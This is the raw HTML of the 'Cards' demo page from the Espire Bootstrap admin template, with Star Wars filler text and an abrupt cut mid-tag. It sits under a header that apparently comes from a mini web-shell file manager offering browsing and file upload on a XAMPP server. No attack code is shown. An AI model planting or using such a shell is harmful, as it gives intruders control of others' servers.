MINI
C:
/
xampp
/
htdocs
/
poss
/
assets
/
dist
/
Upload File:
files >> C:/xampp/htdocs/poss/assets/dist/cards.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no"> <title>Espire - Bootstrap 4 Admin Template</title> <!-- Favicon --> <link rel="shortcut icon" href="assets/images/logo/favicon.png"> <!-- plugins css --> <link rel="stylesheet" href="../bower_components/bootstrap/dist/css/bootstrap.css" /> <link rel="stylesheet" href="../bower_components/PACE/themes/blue/pace-theme-minimal.css" /> <link rel="stylesheet" href="../bower_components/perfect-scrollbar/css/perfect-scrollbar.min.css" /> <!-- core css --> <link href="assets/css/ei-icon.css" rel="stylesheet"> <link href="assets/css/themify-icons.css" rel="stylesheet"> <link href="assets/css/font-awesome.min.css" rel="stylesheet"> <link href="assets/css/animate.min.css" rel="stylesheet"> <link href="assets/css/app.css" rel="stylesheet"> </head> <body> <div class="app"> <div class="layout"> <!-- Side Nav START --> <div class="side-nav"> <div class="side-nav-inner"> <div class="side-nav-logo"> <a href="index.html"> <div class="logo logo-dark" style="background-image: url('assets/images/logo/logo.png')"></div> <div class="logo logo-white" style="background-image: url('assets/images/logo/logo-white.png')"></div> </a> <div class="mobile-toggle side-nav-toggle"> <a href="#"> <i class="ti-arrow-circle-left"></i> </a> </div> </div> <ul class="side-nav-menu scrollable"> <li class="nav-item"> <a class="mrg-top-30" href="index.html"> <span class="icon-holder"> <i class="ti-home"></i> </span> <span class="title">Dashboard</span> </a> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-package"></i> </span> <span class="title">Apps</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="email.html">Email</a> </li> <li> <a href="calendar.html">Calendar</a> </li> <li> <a href="social.html">Social</a> </li> </ul> </li> <li class="nav-item dropdown open"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-palette"></i> </span> <span class="title">UI Elements</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="cards.html">Cards</a> </li> <li class="active"> <a href="buttons.html">Buttons</a> </li> <li> <a href="modals.html">Modals</a> </li> <li> <a href="tabs.html">Tabs & Accordions</a> </li> <li> <a href="progress-slider.html">Progress & Slider</a> </li> <li> <a href="notification.html">Notification</a> </li> <li> <a href="typography.html">Typography</a> </li> <li> <a href="icons.html">Icons</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-file"></i> </span> <span class="title">Forms</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="form-elements.html">Form Elements</a> </li> <li> <a href="form-layouts.html">Form Layouts</a> </li> <li> <a href="form-wizard.html">Form Wizard</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-layout-media-overlay"></i> </span> <span class="title">Tables</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="basic-table.html">Basic Table</a> </li> <li> <a href="data-table.html">Data Table</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-pie-chart"></i> </span> <span class="title">Charts</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="nvd3.html">Nvd3</a> </li> <li> <a href="chartjs.html">ChartJs</a> </li> <li> <a href="sparkline.html">Sparkline</a> </li> <li> <a href="rickshaw.html">Ricksaw</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-map-alt"></i> </span> <span class="title">Map</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="google-map.html">Google Map</a> </li> <li> <a href="vector-map.html">Vector Map</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-cloud"></i> </span> <span class="title">Extra</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="invoice.html">Invoice</a> </li> <li> <a href="account.html">Account Settings</a> </li> <li> <a href="faq.html">FAQ</a> </li> <li> <a href="gallery.html">Gallery</a> </li> <li> <a href="sign-in.html">Sign In</a> </li> <li> <a href="sign-in2.html">Sign In 2</a> </li> <li> <a href="sign-up.html">Sign Up</a> </li> <li> <a href="404.html">404</a> </li> <li> <a href="500.html">500</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-view-list-alt"></i> </span> <span class="title">Multiple Levels</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li class="nav-item dropdown"> <a href="javascript:void(0);"> <span>Level 1.2</span> </a> </li> <li class="nav-item dropdown"> <a href="javascript:void(0);"> <span>Level 1.1</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="javascript:void(0);">Level 2</a> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- Side Nav END --> <!-- Page Container START --> <div class="page-container"> <!-- Header START --> <div class="header navbar"> <div class="header-container"> <ul class="nav-left"> <li> <a class="side-nav-toggle" href="javascript:void(0);"> <i class="ti-view-grid"></i> </a> </li> <li class="search-box"> <a class="search-toggle no-pdd-right" href="javascript:void(0);"> <i class="search-icon ti-search pdd-right-10"></i> <i class="search-icon-close ti-close pdd-right-10"></i> </a> </li> <li class="search-input"> <input class="form-control" type="text" placeholder="Search..."> <div class="advanced-search"> <div class="search-wrapper"> <div class="pdd-vertical-10"> <span class="display-block mrg-vertical-5 pdd-horizon-20 text-gray"> <i class="ti-user pdd-right-5"></i> <span>People</span> </span> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>44 Shirley Ave. West Chicago</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="info"> <span class="title">Jennifer Watkins</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>514 S. Magnolia St. Orlando</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title">Michael Birch</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>70 Bowman St. South Windsor</span> </span> </div> </a> </li> </ul> </div> <div class="mrg-horizon-20 border top"></div> <div class="pdd-vertical-10"> <span class="display-block mrg-vertical-5 pdd-horizon-20 text-gray"> <i class="ti-rss pdd-right-5"></i> <span>Post</span> </span> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/img-1.jpg" alt=""> <div class="info"> <span class="title">Artoo expresses his relief</span> <span class="sub-title"> <span>Oh, thank goodness we're coming out...</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/img-2.jpg" alt=""> <div class="info"> <span class="title">Ready for some power?</span> <span class="sub-title"> <span>Lord Vader. You may take Caption So...</span> </span> </div> </a> </li> </ul> </div> </div> <div class="search-footer"> <span>You are Searching for '<b class="text-dark"><span class="serach-text-bind"></span></b>'</span> </div> </div> </li> </ul> <ul class="nav-right"> <li class="user-profile dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <img class="profile-img img-fluid" src="assets/images/user.jpg" alt=""> <div class="user-info"> <span class="name pdd-right-5">Nate Leong</span> <i class="ti-angle-down font-size-10"></i> </div> </a> <ul class="dropdown-menu"> <li> <a href="#"> <i class="ti-settings pdd-right-10"></i> <span>Setting</span> </a> </li> <li> <a href="#"> <i class="ti-user pdd-right-10"></i> <span>Profile</span> </a> </li> <li> <a href="#"> <i class="ti-email pdd-right-10"></i> <span>Inbox</span> </a> </li> <li role="separator" class="divider"></li> <li> <a href="#"> <i class="ti-power-off pdd-right-10"></i> <span>Logout</span> </a> </li> </ul> </li> <li class="notifications dropdown"> <span class="counter">2</span> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <i class="ti-bell"></i> </a> <ul class="dropdown-menu "> <li class="notice-header"> <i class="ti-bell pdd-right-10"></i> <span>Notifications</span> </li> <li> <ul class="list-info overflow-y-auto relative scrollable"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Jennifer Watkins</span> <span class="text-gray">commented on your <span class="text-dark">post</span></span> </span> <span class="sub-title">5 mins ago</span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Samuel Field</span> <span class="text-gray">likes your <span class="text-dark">photo</span></span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-primary"> <span class="text-white">M</span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Michael Birch</span> <span class="text-gray">likes your <span class="text-dark">photo</span></span> </span> <span class="sub-title">5 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-success"> <span class="text-white"><i class="fa fa-paper-plane-o"></i></span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Message sent</span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-info"> <span class="text-white"><i class="ti-user"></i></span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Admin</span> <span class="text-gray">Welcome on board</span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> </ul> </li> <li class="notice-footer"> <span> <a href="#" class="text-gray">Check all notifications <i class="ei-right-chevron pdd-left-5 font-size-10"></i></a> </span> </li> </ul> </li> <li> <a class="side-panel-toggle" href="javascript:void(0);"> <i class="ti-align-right"></i> </a> </li> </ul> </div> </div> <!-- Header END --> <!-- Side Panel START --> <div class="side-panel"> <div class="side-panel-wrapper bg-white"> <ul class="nav nav-tabs" role="tablist"> <li class="nav-item active"> <a class="nav-link" href="#chat" role="tab" data-toggle="tab"> <span>Chat</span> </a> </li> <li class="nav-item"> <a class="nav-link" href="#profile" role="tab" data-toggle="tab"> <span>Profile</span> </a> </li> <li class="nav-item "> <a class="nav-link" href="#todo-list" role="tab" data-toggle="tab"> <span>Todo</span> </a> </li> <li class="panel-close"> <a class="side-panel-toggle" href="javascript:void(0);"> <i class="ti-close"></i> </a> </li> </ul> <div class="tab-content"> <!-- chat START --> <div id="chat" role="tabpanel" class="tab-pane fade in active"> <div class="chat"> <div class="chat-user-list scrollable"> <div class="chat-section"> <h5 class="chat-title">Recent</h5> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="user-info"> <span class="user-name">Jordan Hurst</span> <span class="prev-chat">What good's a reward if...</span> </div> <span class="status online"><span></span></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-2.jpg" alt=""> <div class="user-info"> <span class="user-name">Harriet Douglas</span> <span class="prev-chat">Don't talk to me, stranger...</span> </div> <span class="status no-disturb"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-3.jpg" alt=""> <div class="user-info"> <span class="user-name">Victoria Clayton</span> <span class="prev-chat">Well, the Force is what...</span> </div> <span class="status away"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-6.jpg" alt=""> <div class="user-info"> <span class="user-name">Michael Birch</span> <span class="prev-chat">Good. Use your aggressive...</span> </div> <span class="status online"></span> </a> </div> <div class="chat-section"> <h5 class="chat-title">Members</h5> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Samuel Field</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Jennifer Watkins</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-6.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Michael Birch</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-10.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Renee Edwards</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-11.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Kathy White</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-9.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Daryl Ellis</span> </div> <span class="status"></span> </a> </div> </div> <div class="conversation"> <div class="conversation-wrapper"> <div class="conversation-header"> <a href="javascript:void(0);" class="back chat-toggle"> <i class="ti-arrow-circle-left"></i> </a> <span class="user-name">Jordan Hurst</span> </div> <div class="conversation-body"> <div class="msg"> <div class="bubble me"> <span>Feeling all right, sir?</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>Just like new</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>How about you?</span> </div> </div> <div class="msg"> <div class="bubble me"> <span>Right now I feel I could take on the whole Empire myself</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>All right</span> </div> </div> </div> <div class="conversation-footer"> <button class="upload-btn"> <i class="ti-camera"></i> </button> <input class="chat-input" type="text" placeholder="Type a message..."> <button class="sent-btn"> <i class="fa fa-send-o"></i> </button> </div> </div> </div> </div> </div> <!-- chat END --> <!-- profile START --> <div id="profile" role="tabpanel" class="tab-pane fade"> <div class="profile scrollable"> <div class="pdd-horizon-20 pdd-top-20"> <div class="border bottom"> <div class="text-center mrg-top-20"> <div class="row"> <div class="col-md-6 ml-auto mr-auto text-center"> <img class="img-fluid border-radius-round" src="assets/images/avatars/user-1.jpg" alt=""> </div> </div> <h4 class="mrg-top-20">Nate Leong</h4> <span class="">@Frontend Developer</span> </div> <div class="row text-center pdd-vertical-20"> <div class="col-sm-12"> <div class="row"> <div class="col-sm-4 col-xs-4 border right"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">18</span> <small>Projects</small> </div> </div> <div class="col-sm-4 col-xs-4 border right"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">1,362</span> <small>Followers</small> </div> </div> <div class="col-sm-4 col-xs-4"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">362</span> <small>Points</small> </div> </div> </div> </div> </div> </div> </div> <div class="pdd-horizon-20 pdd-top-20"> <div class="border bottom"> <h5 class="text-dark mrg-btm-20">Quick Tools</h5> <ul class="list-unstyled list-link font-size-16 pdd-btm-20"> <li> <a href="#"> <i class="ti-user pdd-right-10"></i> <span>Friend Request</span> <span class="label label-info mrg-left-5">2</span> </a> </li> <li> <a href="#"> <i class="ti-book pdd-right-10"></i> <span>Inbox</span> <span class="label label-warning mrg-left-5">8</span> </a> </li> <li> <a href="#"> <i class="ti-settings pdd-right-10"></i> <span>Settings</span> </a> </li> </ul> </div> </div> <div class="padding-20"> <h5 class="text-dark mrg-btm-20">Recent</h5> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title">have send you a request</span> <span class="float-object">8m</span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title">Samuel Field</span> <span class="sub-title">have send you a request</span> <span class="float-object">7d</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-info text-center font-size-25 font-secondary"> <span class="text-white">E</span> </span> <div class="info"> <span class="title">Espire</span> <span class="sub-title">Welcome on Board</span> <span class="float-object">7d</span> </div> </a> </li> </ul> </div> </div> </div> <!-- profile END --> <!-- todo START --> <div id="todo-list" role="tabpanel" class="tab-pane fade"> <div class="todo-wrapper"> <div class="todo-category-wrapper"> <div class="row mrg-btm-15"> <div class="col-md-12"> <h3 class="no-mrg-top">Todo List</h3> </div> </div> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">8</span> <span class="category">Today</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">18</span> <span class="category">This Week</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">28</span> <span class="category">This Month</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="create-category"> <i class="amount fa fa-plus-circle"></i> <span class="category">New Category</span> </div> </a> </div> <div class="todolist-wrapper"> <div class="todolist-header"> <a href="javascript:void(0);" class="back todo-toggle"> <i class="ti-arrow-circle-left"></i> </a> <h3 class="category">This Week</h3> <a href="#" class="add"> <span>ADD</span> </a> </div> <div class="todolist-body"> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task1" name="task1" type="checkbox"> <label for="task1">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task2" name="task2" type="checkbox"> <label for="task2">Come on, come on!</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task3" name="task3" type="checkbox"> <label for="task3">it was dangerous here</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task4" name="task4" type="checkbox"> <label for="task4">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task5" name="task5" type="checkbox"> <label for="task5">Artoo! Artoo, quickly!</label> </div> </div> <div class="todolist-body"> <div class="pdd-btm-5 mrg-btm-15 border bottom"> <p class="mrg-btm-5">Completed</p> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-1" name="completed-1" type="checkbox" checked=""> <label for="completed-1">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-2" name="completed-2" type="checkbox" checked=""> <label for="completed-2">Come on, come on!</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-3" name="completed-3" type="checkbox" checked=""> <label for="completed-3">it was dangerous here</label> </div> </div> </div> </div> </div> </div> </div> </div> <!-- Side Panel END --> <!-- theme configurator START --> <div class="theme-configurator"> <div class="configurator-wrapper"> <div class="config-header"> <h4 class="config-title">Config Panel</h4> <button class="config-close"> <i class="ti-close"></i> </button> </div> <div class="config-body"> <div class="mrg-btm-30"> <p class="lead font-weight-normal">Header Color</p> <div class="theme-colors header-default"> <input type="radio" id="header-default" name="theme"> <label for="header-default"></label> </div> <div class="theme-colors header-primary"> <input type="radio" class="primary" id="header-primary" name="theme"> <label for="header-primary"></label> </div> <div class="theme-colors header-info"> <input type="radio" id="header-info" name="theme"> <label for="header-info"></label> </div> <div class="theme-colors header-success"> <input type="radio" id="header-success" name="theme"> <label for="header-success"></label> </div> <div class="theme-colors header-danger"> <input type="radio" id="header-danger" name="theme"> <label for="header-danger"></label> </div> <div class="theme-colors header-dark"> <input type="radio" id="header-dark" name="theme"> <label for="header-dark"></label> </div> </div> <div class="mrg-btm-30"> <p class="lead font-weight-normal">Sidebar Color</p> <div class="theme-colors sidenav-default"> <input type="radio" id="sidenav-default" name="sidenav"> <label for="sidenav-default"></label> </div> <div class="theme-colors side-nav-dark"> <input type="radio" id="side-nav-dark" name="sidenav"> <label for="side-nav-dark"></label> </div> </div> <div class="mrg-btm-30"> <p class="lead font-weight-normal no-mrg-btm">RTL</p> <div class="toggle-checkbox checkbox-inline toggle-sm mrg-top-10"> <input type="checkbox" name="rtl-toogle" id="rtl-toogle"> <label for="rtl-toogle"></label> </div> </div> </div> </div> </div> <!-- theme configurator END --> <!-- Theme Toggle Button START --> <button class="theme-toggle btn btn-rounded btn-icon"> <i class="ti-palette"></i> </button> <!-- Theme Toggle Button END --> <!-- Content Wrapper START --> <div class="main-content"> <div class="container-fluid"> <div class="container-fluid"> <div class="page-title"> <h4>Cards</h4> </div> <div class="row"> <div class="col-md-4"> <div class="card"> <div class="card-block"> <h4 class="card-title">Basic Card</h4> <div class="mrg-top-20"> <p>All right! Up! Move! Come on! Quickly! Quickly, Chewie. Han! Hurry! The fleet will be here any moment. Charges! Come on, come on! Oh, my! They'll be captured! Wa-wait! Wait, come back! Artoo, stay with me. Freeze! You Rebel scum.</p> <p>Not bad for a little furball. There's only one left. You stay here. We'll take care of this. I have decided that we shall stay here.Well, look at you, a general, huh? Oh, well, someone must have told them about my little maneuver at the battle of Taanab.</p> </div> </div> </div> </div> <div class="col-md-4"> <div class="card"> <div class="card-block"> <h4 class="card-title">Basic Card with Action</h4> <div class="mrg-top-20"> <p>All right! Up! Move! Come on! Quickly! Quickly, Chewie. Han! Hurry! The fleet will be here any moment. Charges! Come on, come on! Oh, my! They'll be captured! Wa-wait! Wait, come back! Artoo, stay with me. Freeze! You Rebel scum.</p> <p>Not bad for a little furball. There's only one left. You stay here. We'll take care of this. I have decided that we shall stay.</p> <div class="mrg-top-25"> <a href="#" class="btn btn-primary no-mrg-btm">Action 1</a> </div> </div> </div> </div> </div> <div class="col-md-4"> <div class="card"> <div class="card-heading"> <h4 class="card-title">Default Card</h4> </div> <div class="card-body"> <p>All right! Up! Move! Come on! Quickly! Quickly, Chewie. Han! Hurry! The fleet will be here any moment. Charges! Come on, come on! Oh, my! They'll be captured! Wa-wait! Wait, come back! Artoo, stay with me. Freeze! You Rebel scum.</p> <p>Not bad for a little furball. There's only one left. You stay here. We'll take care of this. I have decided that we shall stay here.</p> </div> <div class="card-footer border top"> <ul class="list-unstyled list-inline text-right pdd-vertical-5"> <li class="list-inline-item"> <a href="#" class="btn btn-flat">Action 1</a> </li> <li class="list-inline-item"> <a href="#" class="btn btn-flat">Action 2</a> </li> </ul> </div> </div> </div> </div> <div class="row"> <div class="col-lg-3"> <div class="card"> <div class="card-media"> <img class="img-responsive" src="assets/images/others/img-3.jpg" alt=""> </div> <div class="card-block"> <h4 class="mrg-btm-20 no-mrg-top">Card With Image</h4> <p>All right! Up! Move! Come on! Quickly! Quickly, Chewie. Han! Hurry! The fleet will be here any moment. Charges! Come on, come on! Oh, my! They'll be captured! Wa-wait! Wait, come back! Artoo, stay with me. Freeze! You Rebel scum.</p> <div class="mrg-top-40"> <a href="#" class="btn btn-info no-mrg-btm">Read More</a> </div> </div> </div> </div> <div class="col-lg-3"> <a href="#" class="card"> <ul class="list-unstyled list-info"> <li> <div class="pdd-vertical-10 pdd-horizon-20"> <img class="thumb-img img-circle" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title"> <i class="ti-timer pdd-right-5"></i> <span>2 min ago</span> </span> </div> </div> </li> </ul> <div class="card-media"> <img class="img-responsive" src="assets/images/others/img-4.jpg" alt=""> </div> <div class="card-block"> <h4>Card With Image</h4> <p>Hey, whoa, just where do you think you're going? Master Luke here is your rightful owner. We'll have no more of this Obi-Wan Kenobi. I have decided that we shall stay here.Well, look at you, a general</p> </div> </a> </div> <div class="col-lg-3"> <div class="card bg-info"> <div class="card-block"> <div class="row"> <div class="col-md-7"> <p class="text-uppercase font-size-13"><b>Sales Trends</b></p> <h1 class="no-mrg-top font-size-30">37.8%</h1> <span>Total Item Sold: <b>168</b></span> </div> <div class="col-md-5"> </div> </div> </div> </div> <a href="#"> <div class="card "> <div class="overlay-dark bg" style="background-image: url('assets/images/others/img-6.jpg')"> <div class="card-block"> <div class="mrg-top-130"> <div class="tag tag-danger">Lifestyle</div> <h2>Good Saving <br> Habit From Young</h2> <div class="text-white text-opacity"> <span> <i class="ti-comment pdd-right-5"></i> <span> 88</span> </span> <span class="pdd-horizon-10"> | </span> <span> <i class="ti-heart pdd-right-5"></i> <span> 168</span> </span> </div> </div> </div> </div> </div> </a> </div> <div class="col-lg-3"> <a href="#"> <div class="card"> <div class="overlay-dark bg-primary"> <div class="card-block"> <div class="mrg-top-130"> <div class="tag tag-warning">Blog</div> <h2>Good Saving <br> Habit From Young</h2> <div class="text-white text-opacity"> <span> <i class="ti-comment pdd-right-5"></i> <span> 88</span> </span> <span class="pdd-horizon-10"> | </span> <span> <i class="ti-heart pdd-right-5"></i> <span> 168</span> </span> </div> </div> </div> </div> </div> </a> <div class="card"> <div class="card-block"> <div class="row"> <div class="col-md-7"> <p class="text-dark text-uppercase font-size-13"><b>Earning</b></p> <h1 class="no-mrg-top text-primary font-size-30">$ 18,000</h1> <span>Total Item Sold: <b>168</b></span> </div> <div class="col-md-5"> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-md-8"> <div class="card"> <div class="card-horizon"> <div class="image-container col-md-4"> <div class="background-holder has-content" style="background-image: url('assets/images/others/img-5.jpg')"></div> </div> <div class="container-fluid"> <div class="row"> <div class="col-md-7 ml-auto"> <div class="pdd-vertical-30 pdd-horizon-25"> <h2 class="mrg-btm-20">Card Horizon</h2> <p>Oh, I told you it was dangerous here. Shall we try and go around? It'll take time. This whole party'll be for nothing if they see us. Chewie and I will take care of this. You stay here. Quietly, there might be more of them out there. Hey... it's me. Go for help! Go! Great. Come on. Over there! Two more of them! I see them. Wait, Leia! Quick! Jam their comlink. Center switch! Hey, wait! Ahhh! Move closer! Get alongside that one! Get him! Keep on that one! I'll take these two!</p> <p>Easy, Chewie. Whoa! Whoa! Help! Chewie, you okay? Where is he? I'm okay, pal. Han! Chewie? Lando! Boba Fett?! Boba Fett?! Where? Lando, grab it! Lower it! I'm trying! Whoa! Whoa! Grab me, Chewie! I'm slipping. Grab it! L--Lando. Grab! Grab it! Almost... You almost got it! Hold it! Whoa! Gently now. All... all right.</p> <p>Admiral, we're in position. All fighters accounted for. Proceed with the countdown. All groups assume attack coordinates. Don't worry, my friends are down there. They'll have that shield down on time... or this'll be the shortest offensive of all time. All craft, prepare to jump to hyperspace on my mark. All right. Stand by.</p> </div> </div> </div> </div> </div> </div> </div> <div class="col-md-4"> <div class="card"> <div class="card-media"> <img class="img-responsive" src="assets/images/others/img-7.jpg" alt=""> </div> <div class="card-block"> <div class="relative scrollable" style="height: 240px;"> <h4 class="mrg-btm-20 no-mrg-top">Card Scrollable</h4> <p>All right! Up! Move! Come on! Quickly! Quickly, Chewie. Han! Hurry! The fleet will be here any moment. Charges! Come on, come on! Oh, my! They'll be captured! Wa-wait! Wait, come back! Artoo, stay with me. Freeze! You Rebel scum.</p> <p>Move! Move! The shield is down! Commence attack on theDeath Star's main reactor. We're on our way. Red Group, Gold Group, all fighters follow me. Told you they'd do it!</p> <p>Admiral, we're in position. All fighters accounted for. Proceed with the countdown. All groups assume attack coordinates. Don't worry, my friends are down there. They'll have that shield down on time... or this'll be the shortest offensive of all time. All craft, prepare to jump to hyperspace on my mark. All right. Stand by.</p> </div> </div> </div> </div> </div> <div class="row"> <div class="col-md-3"> <div class="card"> <div class="portlet"> <ul class="portlet-item navbar"> <li class="dropdown"> <a href="#" class="btn btn-icon btn-flat btn-rounded dropdown-toggle" data-toggle="dropdown" aria-expanded="false"> <i class="ti-more"></i> </a> <ul class="dropdown-menu"> <li> <a href="#"> <i class="ti-files pdd-right-10"></i> <span>Duplicate</span> </a> </li> <li> <a href="#"> <i class="ti-smallcap pdd-right-10"></i> <span>Edit</span> </a> </li> <li> <a href="#"> <i class="ti-image pdd-right-10"></i> <span>Add Images</span> </a> </li> </ul> </li> <li> <a href="javascript:void(0);" class="btn btn-icon btn-flat btn-rounded" data-toggle="card-refresh"> <i class="ti-reload"></i> </a> </li> </ul> </div> <div class="card-heading"> <h4 class="card-title">Card Refresh</h4> </div> <div class="card-body"> <p>All right! Up! Move! Come on! Quickly! Quickly, Chewie. Han! Hurry! The fleet will be here any moment. Charges! Come on, come on! Oh, my! They'll be captured! Wa-wait! Wait, come back! Artoo, stay with me. Freeze! You Rebel scum.</p> <p>Not bad for a little furball. There's only one left. You stay here. We'll take care of this. I have decided that we shall stay here.</p> </div> <div class="card-footer border top"> <ul class="list-unstyled list-inline pull-right"> <li class="list-inline-item"> <a href="#" class="btn btn-icon btn-flat btn-rounded"> <i class="ti-heart"></i> </a> </li> <li class="list-inline-item"> <a href="#" class="btn btn-icon btn-flat btn-rounded"> <i class="ti-share"></i> </a> </li> </ul> </div> </div> </div> <div class="col-md-3"> <div class="card"> <div class="portlet"> <ul class="portlet-item navbar"> <li class="dropdown"> <a href="#" class="btn btn-icon btn-flat btn-rounded dropdown-toggle" data-toggle="dropdown" aria-expanded="false"> <i class="ti-more"></i> </a> <ul class="dropdown-menu"> <li> <a href="#"> <i class="ti-files pdd-right-10"></i> <span>Duplicate</span> </a> </li> <li> <a href="#"> <i class="ti-smallcap pdd-right-10"></i> <span>Edit</span> </a> </li> <li> <a href="#"> <i class="ti-image 